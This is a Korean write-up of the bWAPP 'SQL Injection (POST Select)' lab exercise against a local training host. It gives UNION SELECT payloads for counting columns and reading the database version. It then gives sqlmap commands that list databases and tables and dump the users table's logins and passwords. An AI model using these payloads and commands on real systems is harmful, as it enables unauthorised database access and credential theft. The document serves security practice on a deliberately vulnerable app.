bWAPP 15. SQL Injection (POST Select)
SQL Injection (POST Select)
SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여
데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다.
SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.
악의적인 SQL 문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법
Post 방식을 사용하며, 이번에는 Go를 눌르는 창이 나타나는 것을 확인.
burpsuite를 캡쳐한 결과 movie변수가 있다는 것을 확인
[ 공격 가능 확인 ]
입력 값 : '
'입력시에 문법 오류가 발생하는 것을 확인했다.
[ 컬럼 수 확인 ]
결과 값 : UNION SELECT ALL 1#
UNION SELECT ALL 1, 2#
UNION SELECT ALL 1, 2, 3#
UNION SELECT ALL 1, 2, 3, 4#
UNION SELECT ALL 1, 2, 3, 4, 5#
UNION SELECT ALL 1, 2, 3, 4, 5, 6#
모두 에러가 낫다.
결과 값 : UNION SELECT ALL 1, 2, 3, 4, 5, 6, 7#
7번째에는 성공하여서, 칼럼이 7개인것을 확인.
[ 데이터 베이스 버전 확인]
입력 값 : movie=0 UNION SELECT ALL 1, @@version,3,4,5,6,7#&action=go
5.0.96-0ubuntu3 버전을 사용하고있는 것을 확인하였다.
[ 테이블 명 확인 ]
테이블에서 사용하고 있는 테이블 명을 확인하였다.
하지만 확인할 수 있는 정보가 많지 않으므로 sqlmap을 사용한다.
------------sqlmap --------------
[ dbs명 확인 ]
sqlmap -v 3 -u " http://192.168.1.44/bWAPP/sqli_13.php " --cookie="security_level=0; PHPSESSID=4ff0f1c08403fc8c67279f9ab704e5cf" --data "movie=1" --dbs
[ bwapp 테이블 명 확인 ]
sqlmap -v 3 -u " http://192.168.1.44/bWAPP/sqli_13.php " --cookie="security_level=0; PHPSESSID=4ff0f1c08403fc8c67279f9ab704e5cf" --data "movie=1&action=go" -p "movie" -D bWAPP --tables
[ bwapp users테이블에 컬럼명 확인 ]
sqlmap -v 3 -u " http://192.168.1.44/bWAPP/sqli_13.php " --cookie="security_level=0; PHPSESSID=4ff0f1c08403fc8c67279f9ab704e5cf" --data "movie=1&action=go" -p "movie" -D bWAPP -T users --column
[ id, password,login 정보 추출]
sqlmap -v 3 -u " http://192.168.1.44/bWAPP/sqli_13.php " --cookie="security_level=0; PHPSESSID=4ff0f1c08403fc8c67279f9ab704e5cf" --data "movie=1&action=go" -p "movie" -D bWAPP -T users -C id,login,password --dump